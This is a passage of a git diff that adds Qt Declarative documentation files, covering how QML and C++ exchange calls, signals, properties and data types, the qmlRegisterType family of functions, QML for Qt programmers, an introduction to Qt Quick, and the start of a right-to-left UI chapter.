+\o \snippet doc/src/snippets/declarative/qtbinding/functions-qml/main.cpp 0
+\endtable
+
+Notice the Q_RETURN_ARG() and Q_ARG() arguments for QMetaObject::invokeMethod() must be specified as
+QVariant types, as this is the generic data type used for QML functions and return values.
+
+To call a C++ function from QML, the function must be either a Qt slot, or a function marked with
+the Q_INVOKABLE macro, to be available to QML. In the following example, the QML code invokes
+methods on the \c myObject object, which has been set using QDeclarativeContext::setContextProperty():
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/MyItem.qml 0
+\o
+\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/myclass.h 0
+\codeline
+\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/main.cpp 0
+\endtable
+
+QML supports the calling of overloaded C++ functions. If there are multiple C++ functions with the
+same name but different arguments, the correct function will be called according to the number and
+the types of arguments that are provided.
+
+
+\section2 Receiving Signals
+
+All QML signals are automatically available to C++, and can be connected to using QObject::connect()
+like any ordinary Qt C++ signal. In return, any C++ signal can be received by a QML object using
+\l {Signal Handlers}{signal handlers}.
+
+Here is a QML component with a signal named \c qmlSignal. This signal is connected to a C++ object's
+slot using QObject::connect(), so that the \c cppSlot() method is called whenever the \c qmlSignal
+is emitted:
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qtbinding/signals-qml/MyItem.qml 0
+\o
+\snippet doc/src/snippets/declarative/qtbinding/signals-qml/myclass.h 0
+\codeline
+\snippet doc/src/snippets/declarative/qtbinding/signals-qml/main.cpp 0
+\endtable
+
+To connect to Qt C++ signals from within QML, use a signal handler with the \c on<SignalName> syntax.
+If the C++ object is directly creatable from within QML (see \l {Defining new QML elements} above)
+then the signal handler can be defined within the object declaration. In the following example, the
+QML code creates a \c ImageViewer object, and the \c imageChanged and \c loadingError signals of the
+C++ object are connected to through \c onImagedChanged and \c onLoadingError signal handlers in QML:
+
+\table
+\row
+\o
+
+\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h start
+\dots 4
+\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h end
+
+\o
+\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/standalone.qml 0
+\endtable
+
+(Note that if a signal has been declared as the NOTIFY signal for a property, QML allows it to be
+received with an \c on<Property>Changed handler even if the signal's name does not follow the \c
+<Property>Changed naming convention. In the above example, if the "imageChanged" signal was named
+"imageModified" instead, the \c onImageChanged signal handler would still be called.)
+
+If, however, the object with the signal is not created from within the QML code, and the QML item only has a
+reference to the created object - for example, if the object was set using
+QDeclarativeContext::setContextProperty() - then the \l Connections element can be used
+instead to create the signal handler:
+
+\table
+\row
+\o \snippet doc/src/snippets/declarative/qtbinding/signals-cpp/main.cpp connections
+\o \snippet doc/src/snippets/declarative/qtbinding/signals-cpp/MyItem.qml 0
+\endtable
+
+C++ signals can use enum values as parameters provided that the enum is declared in the
+class that is emitting the signal, and that the enum is registered using Q_ENUMS.
+See \l {Using enumerations of a custom type} below for details.
+
+
+\section2 Modifying Properties
+
+Any properties declared in a QML object are automatically accessible from C++. Given a QML item
+like this:
+
+\snippet doc/src/snippets/declarative/qtbinding/properties-qml/MyItem.qml 0
+
+The value of the \c someNumber property can be set and read using QDeclarativeProperty, or
+QObject::setProperty() and QObject::property():
+
+\snippet doc/src/snippets/declarative/qtbinding/properties-qml/main.cpp 0
+
+You should always use QObject::setProperty(), QDeclarativeProperty or QMetaProperty::write() to
+change a QML property value, to ensure the QML engine is made aware of the property change. For example,
+say you have a custom element \c PushButton with a \c buttonText property that internally reflects
+the value of a \c m_buttonText member variable. Modifying the member variable directly like this is
+not a good idea:
+
+\badcode
+// BAD!
+QDeclarativeComponent component(engine, "MyButton.qml");
+PushButton *button = qobject_cast<PushButton*>(component.create());
+button->m_buttonText = "Click me";
+\endcode
+
+Since the value is changed directly, this bypasses Qt's \l{The Meta-Object System}{meta-object system}
+and the QML engine is not made aware of the property change. This means property bindings to
+\c buttonText would not be updated, and any \c onButtonTextChanged handlers would not be called.
+
+
+\target properties-cpp
+
+Any \l {The Property System}{Qt properties} - that is, those declared with the Q_PROPERTY()
+macro - are accessible from QML. Here is a modified version of the \l {Embedding C++ objects into
+QML components}{earlier example} on this page; here, the \c ApplicationData class has a \c backgroundColor
+property. This property can be written to and read from QML:
+
+\table
+\row
+\o \snippet doc/src/snippets/declarative/qtbinding/properties-cpp/applicationdata.h 0
+\o \snippet doc/src/snippets/declarative/qtbinding/properties-cpp/MyItem.qml 0
+\endtable
+
+Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal for the
+\c backgroundColor property. If a Qt property does not have an associated NOTIFY signal,
+the property cannot be used for \l {Property Binding} in QML, as the QML engine would not be
+notified when the value changes. If you are using custom types in QML, make sure their
+properties have NOTIFY signals so that they can be used in property bindings.
+
+See \l {Tutorial: Writing QML extensions with C++} for further details and examples
+on using Qt properties with QML.
+
+
+\section1 Supported data types
+
+Any C++ data that is used from QML - whether as custom properties, or parameters for signals or
+functions - must be of a type that is recognizable by QML.
+
+By default, QML recognizes the following data types:
+
+\list
+\o bool
+\o unsigned int, int
+\o float, double, qreal
+\o QString
+\o QUrl
+\o QColor
+\o QDate, QTime, QDateTime
+\o QPoint, QPointF
+\o QSize, QSizeF
+\o QRect, QRectF
+\o QVariant
+\o QVariantList, QVariantMap
+\o QObject*
+\o Enumerations declared with Q_ENUMS()
+\endlist
+
+To allow a custom C++ type to be created or used in QML, the C++ class must be registered as a QML
+type using qmlRegisterType(), as shown in the \l {Defining new QML elements} section above.
+
+
+\section2 JavaScript Arrays and Objects
+
+There is built-in support for automatic type conversion between QVariantList and JavaScript
+arrays, and QVariantMap and JavaScript objects.
+
+For example, the function defined in QML below left expects two arguments, an array and an object, and prints
+their contents using the standard JavaScript syntax for array and object item access. The C++ code
+below right calls this function, passing a QVariantList and a QVariantMap, which are automatically
+converted to JavaScript array and object values, repectively:
+
+\table
+\header
+\o Type
+\o String format
+\o Example
+\row
+\o \snippet doc/src/snippets/declarative/qtbinding/variantlistmap/MyItem.qml 0
+\o \snippet doc/src/snippets/declarative/qtbinding/variantlistmap/main.cpp 0
+\endtable
+
+This produces output like:
+
+\code
+Array item: 10
+Array item: #00ff00
+Array item: bottles
+Object item: language = QML
+Object item: released = Tue Sep 21 2010 00:00:00 GMT+1000 (EST)
+\endcode
+
+Similarly, if a C++ type uses a QVariantList or QVariantMap type for a property or method
+parameter, the value can be created as a JavaScript array or object in the QML
+side, and is automatically converted to a QVariantList or QVariantMap when it is passed to C++.
+
+
+\section2 Using Enumerations of a Custom Type
+
+To use an enumeration from a custom C++ component, the enumeration must be declared with Q_ENUMS() to
+register it with Qt's meta object system. For example, the following C++ type has a \c Status enum:
+
+\snippet doc/src/snippets/declarative/qtbinding/enums/imageviewer.h start
+\snippet doc/src/snippets/declarative/qtbinding/enums/imageviewer.h end
+
+Providing the \c ImageViewer class has been registered using qmlRegisterType(), its \c Status enum can
+now be used from QML:
+
+\snippet doc/src/snippets/declarative/qtbinding/enums/standalone.qml 0
+
+The C++ type must be registered with QML to use its enums. If your C++ type is not instantiable, it
+can be registered using qmlRegisterUncreatableType(). To be accessible from QML, the names of enum values
+must begin with a capital letter.
+
+See the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} tutorial and
+the \l {Extending QML Functionalities using C++} reference documentation for
+more information.
+
+
+\section2 Using Enumeration Values as Signal and Method Parameters
+
+C++ signals may pass enumeration values as signal parameters to QML, providing that the enumeration
+and the signal are declared within the same class, or that the enumeration value is one of those declared
+in the \l {Qt}{Qt Namespace}.
+
+Likewise, invokable C++ methods parameters may be enumeration values providing that the enumeration and
+the method are declared within the same class, or that the enumeration value is one of those declared in the
+\l {Qt}{Qt Namespace}.
+
+Additionally, if a C++ signal with an enum parameter should be connectable to a QML function using the
+\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}{connect()}
+function, the enum type must be registered using qRegisterMetaType().
+
+For QML signals, enum values may be used as signal parameters using the \c int type:
+
+\snippet doc/src/snippets/declarative/qtbinding/enums/standalone.qml 1
+
+
+\section2 Automatic Type Conversion from Strings
+
+As a convenience, some basic types can be specified in QML using format strings to make it easier to
+pass simple values from QML to C++.
+
+\table
+\header
+\o Type
+\o String format
+\o Example
+\row
+\o QColor
+\o Color name, "#RRGGBB", "#RRGGBBAA"
+\o "red", "#ff0000", "#ff000000"
+\row
+\o QDate
+\o "YYYY-MM-DD"
+\o "2010-05-31"
+\row
+\o QPoint
+\o "x,y"
+\o "10,20"
+\row
+\o QRect
+\o "x,y,WidthxHeight"
+\o "50,50,100x100"
+\row
+\o QSize
+\o "WidthxHeight"
+\o "100x200"
+\row
+\o QTime
+\o "hh:mm:ss"
+\o "14:22:55"
+\row
+\o QUrl
+\o URL string
+\o "http://www.example.com"
+\row
+\o QVector3D
+\o "x,y,z"
+\o "0,1,0"
+\row
+\o Enumeration value
+\o Enum value name
+\o "AlignRight"
+\endtable
+
+(More details on these string formats and types can be found in the
+\l {QML Basic Types}{basic type documentation}.)
+
+These string formats can be used to set QML \c property values and pass arguments to C++
+functions. This is demonstrated by various examples on this page; in the above
+\l{#properties-cpp}{Qt properties example}, the \c ApplicationData class has a \c backgroundColor
+property of a QColor type, which is set from the QML code with the string "red" rather rather
+than an actual QColor object.
+
+If it is preferred to pass an explicitly-typed value rather than a string, the global
+\l{QmlGlobalQtObject}{Qt object} provides convenience functions for creating some of the object
+types listed above. For example, \l{QML:Qt::rgba()}{Qt.rgba()} creates a QColor value from four
+RGBA values. The QColor returned from this function could be used instead of a string to set
+a QColor-type property or to call a C++ function that requires a QColor parameter.
+
+
+\section1 Writing QML plugins
+
+The Qt Declarative module includes the QDeclarativeExtensionPlugin class, which is an abstract
+class for writing QML plugins. This allows QML extension types to be dynamically loaded into
+QML applications.
+
+See the QDeclarativeExtensionPlugin documentation and \l {How to Create Qt Plugins} for more
+details.
+
+
+\section1 Managing resource files with the Qt resource system
+
+The \l {The Qt Resource System}{Qt resource system} allows resource files to be stored as
+binary files in an application executable. This can be useful when building a mixed
+QML/C++ application as it enables QML files (as well as other resources such as images
+and sound files) to be referred to through the resource system URI scheme rather than
+relative or absolute paths to filesystem resources. Note, however, that if you use the resource
+system, the application executable must be re-compiled whenever a QML source file is changed
+in order to update the resources in the package.
+
+To use the resource system in a mixed QML/C++ application:
+
+\list
+\o Create a \c .qrc \l {The Qt Resource System}{resource collection file} that lists resource
+ files in XML format
+\o From C++, load the main QML file as a resource using the \c :/ prefix or as a URL with the
+ \c qrc scheme
+\endlist
+
+Once this is done, all files specified by relative paths in QML will be loaded from
+the resource system instead. Use of the resource system is completely transparent to
+the QML layer; this means all QML code should refer to resource files using relative
+paths and should \e not use the \c qrc scheme. This scheme should only be used from
+C++ code for referring to resource files.
+
+Here is a application packaged using the \l {The Qt Resource System}{Qt resource system}.
+The directory structure looks like this:
+
+\code
+project
+ |- example.qrc
+ |- main.qml
+ |- images
+ |- background.png
+ |- main.cpp
+ |- project.pro
+\endcode
+
+The \c main.qml and \c background.png files will be packaged as resource files. This is
+done in the \c example.qrc resource collection file:
+
+\quotefile doc/src/snippets/declarative/qtbinding/resources/example.qrc
+
+Since \c background.png is a resource file, \c main.qml can refer to it using the relative
+path specified in \c example.qrc:
+
+\snippet doc/src/snippets/declarative/qtbinding/resources/main.qml 0
+
+To allow QML to locate resource files correctly, the \c main.cpp loads the main QML
+file, \c main.qml, as a resource file using the \c qrc scheme:
+
+\snippet doc/src/snippets/declarative/qtbinding/resources/main.cpp 0
+
+Finally \c project.pro uses the RESOURCES variable to indicate that \c example.qrc should
+be used to build the application resources:
+
+\quotefile doc/src/snippets/declarative/qtbinding/resources/resources.pro
+
+See \l {The Qt Resource System} for more information.
+
+*/
+
+
diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc
new file mode 100644
index 00000000..9057fab5
--- /dev/null
+++ b/doc/src/declarative/qtdeclarative.qdoc
@@ -0,0 +1,213 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \module QtDeclarative
+ \title Qt Declarative Module
+ \ingroup modules
+
+ \brief The Qt Declarative module provides a declarative framework
+ for building highly dynamic, custom user interfaces.
+
+ To include the definitions of the module's classes, use the
+ following directive:
+
+ \code
+ #include <QtDeclarative>
+ \endcode
+
+ To link against the module, add this line to your \l qmake \c
+ .pro file:
+
+ \code
+ QT += declarative
+ \endcode
+
+ For more information on the Qt Declarative module, see the
+ \l{Qt Quick} documentation.
+*/
+
+
+/*!
+ \macro QML_DECLARE_TYPE()
+ \relates QDeclarativeEngine
+
+ Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
+
+ #include <QtDeclarative> to use this macro.
+*/
+
+/*!
+ \macro QML_DECLARE_TYPEINFO(Type,Flags)
+ \relates QDeclarativeEngine
+
+ Declares additional properties of the given \a Type as described by the
+ specified \a Flags.
+
+ Current the only supported type info is \c QML_HAS_ATTACHED_PROPERTIES which
+ declares that the \a Type supports \l {Attached Properties}.
+
+ #include <QtDeclarative> to use this macro.
+*/
+
+
+/*!
+ \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+ \relates QDeclarativeEngine
+
+ This template function registers the C++ type in the QML system with
+ the name \a qmlName, in the library imported from \a uri having the
+ version number composed from \a versionMajor and \a versionMinor.
+
+ Returns the QML type id.
+
+ There are two forms of this template function:
+
+ \code
+ template<typename T>
+ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+
+ template<typename T, int metaObjectRevision>
+ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+ \endcode
+
+ The former is the standard form which registers the type \e T as a new type.
+ The latter allows a particular revision of a class to be registered in
+ a specified version (see \l {QML Type Versioning}).
+
+
+ For example, this registers a C++ class \c MySliderItem as a QML type
+ named \c Slider for version 1.0 of a \l{QML Modules}{module} called
+ "com.mycompany.qmlcomponents":
+
+ \code
+ #include <QtDeclarative>
+
+ ...
+
+ qmlRegisterType<MySliderItem>("com.mycompany.qmlcomponents", 1, 0, "Slider");
+ \endcode
+
+ Once this is registered, the type can be used in QML by importing the
+ specified module name and version number:
+
+ \qml
+ import com.mycompany.qmlcomponents 1.0
+
+ Slider {
+ // ...
+ }
+ \endqml
+
+ Note that it's perfectly reasonable for a library to register types to older versions
+ than the actual version of the library. Indeed, it is normal for the new library to allow
+ QML written to previous versions to continue to work, even if more advanced versions of
+ some of its types are available.
+*/
+
+/*!
+ \fn int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message)
+ \relates QDeclarativeEngine
+
+ This template function registers the C++ type in the QML system with
+ the name \a qmlName, in the library imported from \a uri having the
+ version number composed from \a versionMajor and \a versionMinor.
+
+ While the type has a name and a type, it cannot be created, and the
+ given error \a message will result if creation is attempted.
+
+ This is useful where the type is only intended for providing attached properties or enum values.
+
+ Returns the QML type id.
+
+ #include <QtDeclarative> to use this function.
+
+ \sa qmlRegisterTypeNotAvailable()
+*/
+
+/*!
+ \fn int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message)
+ \relates QDeclarativeEngine
+
+ This function registers a type in the QML system with the name \a qmlName, in the library imported from \a uri having the
+ version number composed from \a versionMajor and \a versionMinor, but any attempt to instantiate the type
+ will produce the given error \a message.
+
+ Normally, the types exported by a module should be fixed. However, if a C++ type is not available, you should
+ at least "reserve" the QML type name, and give the user of your module a meaningful error message.
+
+ Returns the QML type id.
+
+ Example:
+
+ \code
+ #ifdef NO_GAMES_ALLOWED
+ qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!");
+ #else
+ qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game");
+ #endif
+ \endcode
+
+ This will cause any QML which uses this module and attempts to use the type to produce an error message:
+ \code
+ fun.qml: Get back to work, slacker!
+ Game {
+ ^
+ \endcode
+
+ Without this, a generic "Game is not a type" message would be given.
+
+ #include <QtDeclarative> to use this function.
+
+ \sa qmlRegisterUncreatableType()
+*/
+
+/*!
+ \fn int qmlRegisterType()
+ \relates QDeclarativeEngine
+ \overload
+
+ This template function registers the C++ type in the QML
+ system. Instances of this type cannot be created from the QML
+ system.
+
+ #include <QtDeclarative> to use this function.
+
+ Returns the QML type id.
+*/
+
+/*!
+ \fn int qmlRegisterInterface(const char *typeName)
+ \relates QDeclarativeEngine
+
+ This template function registers the C++ type in the QML system
+ under the name \a typeName.
+
+ #include <QtDeclarative> to use this function.
+
+ Returns the QML type id.
+*/
diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc
new file mode 100644
index 00000000..86c1217f
--- /dev/null
+++ b/doc/src/declarative/qtprogrammers.qdoc
@@ -0,0 +1,155 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtprogrammers.html
+\target qtprogrammers
+\title QML for Qt Programmers
+
+While QML does not require Qt knowledge to use, if you \e are already familiar with Qt,
+much of your knowledge is directly relevant to learning and using QML. Of course,
+an application with a UI defined in QML also uses Qt for all the non-UI logic.
+
+\section1 Familiar Concepts
+
+QML provides direct access to the following concepts from Qt:
+
+\list
+ \o QAction - the \l {QML Basic Types}{action} type
+ \o QObject signals and slots - available as functions to call in JavaScript
+ \o QObject properties - available as variables in JavaScript
+ \o QWidget - QDeclarativeView is a QML-displaying widget
+ \o Qt models - used directly in data binding (QAbstractItemModel)
+\endlist
+
+Qt knowledge is \e required for \l {Extending QML Functionalities using C++},
+and also for \l{Integrating QML Code with existing Qt UI code}.
+
+\section1 QML Items compared with QWidgets
+
+QML Items are very similar to QWidgets: they define the look and feel of the user interface. (Note that while QWidgets
+haven't traditionally been used to define the look and feel of view delegates, QML Items can be used for this as well.)
+
+There are three structurally different types of QWidget:
+
+\list
+ \o Simple widgets that are not used as parents (QLabel, QCheckBox, QToolButton, etc.)
+ \o Parent widgets that are normally used as parents to other widgets (QGroupBox, QStackedWidget, QTabWidget, etc.)
+ \o Compound widgets that are internally composed of child widgets (QComboBox, QSpinBox, QFileDialog, QTabWidget, etc.)
+\endlist
+
+QML Items also serve these purposes. Each is considered separately below.
+
+\section2 Simple Widgets
+
+The most important rule to remember while implementing a new QDeclarativeItem in C++
+is that it should not contain any look and feel policies - leave that to the
+QML usage of the item.
+
+As an example, imagine you wanted a reusable Button item. If you therefore
+decided to write a QDeclarativeItem subclass to implement a button,
+just as QToolButton subclasses QWidget for this purpose, following the rule above, your
+\c QDeclarativeButton would not have any appearance - just the notions of enabled, triggering, etc.
+
+But there is already an object in Qt that does this: QAction.
+
+QAction is the UI-agnostic essence of QPushButton, QCheckBox, QMenu items, QToolButton,
+and other visual widgets that are commonly bound to a QAction.
+
+So, the job of implementing a checkbox abstraction for QML is already done - it's QAction.
+The look and feel of an action - the appearance of the button, the transition between states,
+and exactly how it respond to mouse, key, or touch input, should all be left for definition
+in QML.
+
+It is illustrative to note that QDeclarativeTextEdit is built upon QTextControl,
+QDeclarativeWebView is built upon QWebPage, and ListView uses QAbstractItemModel,
+just as QTextEdit, QWebView, and QListView are built upon
+those same UI-agnostic components.
+
+The encapsulation of the look and feel that QWidgets gives is important, and for this
+the QML concept of \l {qdeclarativedocuments.html}{components} serves the same purpose. If you are building a complete
+suite of applications which should have a consistent look and feel, you should build
+a set of reusable components with the look and feel you desire.
+
+So, to implement your reusable button, you would simply build a QML component.
+
+
+\section2 Parent Widgets
+
+Parent widgets each provide a generic way to interface to one or more arbitrary other widgets.
+A QTabWidget provides an interface to multiple "pages", one of which is visible at any time,
+and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around
+a widget that is otherwise too large to fit in available space.
+
+Nearly all such components can be created directly in QML. Only a few cases
+which require very particular event handling, such as Flickable, require C++ implementations.
+
+As an example, imagine you decided to make a generic tab widget item to be used
+through your application suite wherever information is in such quantity that it
+needs to be divided up into pages.
+
+A significant difference in the parenting concept with QML compare to QWidgets
+is that while child items are positioned relative to their parents,
+there is no requirement that they be wholly contained ("clipped") to
+the parent (although the clipped property of the child Item does allow
+this where it is needed).
+This difference has rather far-reaching consequences, for example:
+
+\list
+ \o A shadow or highlight around a widget could be a child of that widget.
+ \o Particle effects can flow outside the object where they originate.
+ \o Transitioning animations can "hide" items by visibly moving them beyond the screen bounds.
+\endlist
+
+
+\section2 Compound Widgets
+
+Some widgets provide functionality by composing other widgets as an "implementation detail",
+providing a higher level API to the composition. QSpinBox for example is a line edit and some
+buttons to increase/decrease the edited value. QFileDialog uses a whole host of widgets to
+give the user a way of finding and selecting a file name.
+
+When developing reusable QML Items, you may choose to do the same: build an item composed
+of other items you have already defined.
+
+The only caveat when doing this is to consider the possible animations and transitions that
+users of the compound item might wish to employ. For example, a spinbox might need to smoothly
+transition from an arbitrary Text item, or characters within a Text item, so your spinbox
+item would need to be sufficiently flexible to allow such animation.
+
+\section1 QML Items Compared With QGraphicsWidgets
+
+The main difference between QML items and QGraphicsWidgets is how they are intended to be used. The technical implementation details are much the same, but in practice they are different because QML items are made for declarative and compositional use, and QGraphicsWidgets are made for imperative and more integrated use. Both QML items and QGraphicsWidgets inherit from QGraphicsObject, and can co-exist. The differences are in the layouting system and the interfacing with other components. Note that, as QGraphicsWidgets tend more to be all-in-one packages, the equivalent of a QGraphicsWidget may be many QML items composed across several QML files, but it can still be loaded and used as a single QGraphicsObject from C++.
+
+QGraphicsWidgets are usually designed to be laid out with QGraphicsLayouts. QML does not use QGraphicsLayouts, as the Qt layouts do not mix well with animated and fluid UIs, so the geometry interface is one of the main differences. When writing QML elements, you allow the designers to place their bounding rectangle using absolute geometry, bindings or anchors (all setup for you when you inherit QDeclarativeItem) and you do not use layouts or size hints. If size hints are appropriate, then place them in the QML documentation so that the designers know how to use the item best, but still have complete control over the look and feel.
+
+The other main difference is that QGraphicsWidgets tend to follow the widget model, in that they are a self-contained bundle of UI and logic. In contrast, QML primitives are usually a single purpose item that does not fulfill a use case on its own, but is composed into the equivalent of the widget inside the QML file. So when writing QML Items, try to avoid doing UI logic or composing visual elements inside the items. Try instead to write more general purpose primitives, so that the look and feel (which involves the UI logic) can be written in QML.
+
+Both differences are caused by the different method of interaction. QGraphicsWidget is a QGraphicsObject subclass which makes fluid UI development from C++ easier, and QDeclarativeItem is a QGraphicsObject subclass which makes fluid UI development from QML easier. The difference therefore is primarily one of the interface exposed, and the design of the items that come with it (the Declarative primitives for QML and the nothing for QGraphicsWidget, because you need to write your own UI logic into the subclass).
+
+If you wish to use both QML and C++ to write the UI, for example to ease the transition period, it is recommended to use QDeclarativeItem subclasses (although you can use QGraphicsWidgets as well). To allow for easier use from C++ make the root item of each C++ component a LayoutItem, and load individual 'widgets' of QML (possibly comprised of multiple files, and containing a self-contained bundle of UI and logic) into your scene to replace individual QGraphicsWidgets one at a time.
+*/
diff --git a/doc/src/declarative/qtquick-intro.qdoc b/doc/src/declarative/qtquick-intro.qdoc
new file mode 100644
index 00000000..6e92d25a
--- /dev/null
+++ b/doc/src/declarative/qtquick-intro.qdoc
@@ -0,0 +1,124 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-intro.html
+\title Introduction to Qt Quick
+
+Qt Quick is a collection of technologies that are designed to help developers
+create the kind of intuitive, modern, and fluid user interfaces that are
+increasingly used on mobile phones, media players, set-top boxes, and other
+portable devices. Qt Quick consists of a rich set of user interface
+\l{QML Elements}{elements}, a \l{QML Syntax}{declarative} language for
+describing user interfaces, and a language \l{QtDeclarative Module}{runtime}. A
+collection of C++ APIs is used to integrate these high level features with
+classic Qt applications. Version 2.1 of the Qt Creator integrated development
+environment (IDE) introduces tools for developing Qt Quick applications.
+
+\image qml-clocks-example.png
+
+\section1 The QML Language
+
+QML is a high level, scripted language. Its commands, more correctly
+\e elements, leverage the power and efficiency of the Qt libraries to make easy
+to use commands that perform intuitive functions. Drawing a rectangle,
+displaying an image, and application events -- all are possible with declarative
+programming.
+
+The language also allows more flexibility of these commands by using
+\l{About JavaScript}{JavaScript} to implement the high level user interface
+logic.
+
+A QML element usually has various \e properties that help define the element.
+For example, if we created an element called Circle then the radius of the
+circle would be a property. Building user interfaces by importing these elements
+is one of the great feature of QML and Qt Quick.
+\image qml-texteditor5_newfile.png
+
+\section1 QtDeclarative Module
+
+To make Qt Quick possible, Qt introduces the \l {QtDeclarative} module. The
+module creates a JavaScript runtime that QML runs under with a Qt based backend.
+Because QtDeclarative and QML are built upon Qt, they inherit many of Qt's
+technology, namely the \l{Signals and Slots}{signals and slots} mechanism and
+the \l{The Meta-Object System}{meta-object} system. Data created using C++ are
+directly accessible from QML and QML objects are also accessible from C++ code.
+
+In conjunction with the QML language, the QtDeclarative module separates the
+interface logic in QML from the application logic in C++.
+
+\section1 Creator Tools
+
+Qt Creator is a complete integrated development environment (IDE) for creating
+applications with Qt Quick and the Qt application framework.
+
+\image qmldesigner-visual-editor.png
+
+The main goal for Qt Creator is meeting the development needs of Qt Quick
+developers who are looking for simplicity, usability, productivity,
+extendibility and openness, while aiming to lower the barrier of entry for
+newcomers to Qt Quick and Qt. The key features of Qt Creator allow UI designers
+and developers to accomplish the following tasks:
+\list
+\o Get started with Qt Quick application development quickly and easily with
+examples, tutorials, and project wizards.
+\o Design application user interface with the integrated editor, Qt Quick
+Designer, or use graphics software to design the user interface and use scripts
+to export the design to Qt Quick Designer.
+\o Develop applications with the advanced code editor that provides new powerful
+features for completing code snippets, refactoring code, and viewing the element
+hierarchy of QML files.
+\o Build and deploy Qt Quick applications that target multiple desktop and
+mobile platforms, such as Microsoft Windows, Mac OS X, Linux, Symbian, and
+Maemo.
+\o Debug JavaScript functions and execute JavaScript expressions in the current
+context, and inspect QML at runtime to explore the object structure, debug
+animations, and inspect colors.
+\o Deploy applications to mobile devices and create application installation
+packages for Symbian and Maemo devices that can be published in the Ovi Store
+and other channels.
+\o Easily access information with the integrated context-sensitive Qt Help
+system.
+\endlist
+
+\image qtcreator-target-selector.png
+
+\section1 Where to Go from Here
+
+The \l {Qt Quick} page has links to various Qt Quick topics such as QML
+features, addons, and tools.
+
+The \l {QML Examples and Demos} page has a gallery of QML applications.
+
+\section1 License Information
+\list
+\o \l{Qt Quick Licensing Information}
+\endlist
+*/
+
+
+
diff --git a/doc/src/declarative/righttoleft.qdoc b/doc/src/declarative/righttoleft.qdoc
new file mode 100644
index 00000000..16e60bfb
--- /dev/null
+++ b/doc/src/declarative/righttoleft.qdoc
@@ -0,0 +1,194 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-righttoleft.html
+\title QML Right-to-left User Interfaces
+
+\section1 Overview
+
+This chapter discusses different approaches and options available for implementing right-to-left
+language support for Qt Quick applications. Some common right-to-left languages include Arabic, Hebrew,
+Persian and Urdu. Most changes include making sure that text translated to right-to-left languages
+is properly aligned to the right, and horizontally ordered content in views, lists and grids flows
+correctly from the right to left.
+
+In right-to-left language speaking cultures, people naturally scan and read graphic elements and text
+from the right to left. The general rule of thumb is that content (like photos, videos and maps) is not
+mirrored, but positioning of the content (like application layouts and the flow of visual elements) is
+mirrored. For example, photos shown in chronological order should flow from right to left, the
+low end range of the horizontal sliders should be located at the right side of the slider, and
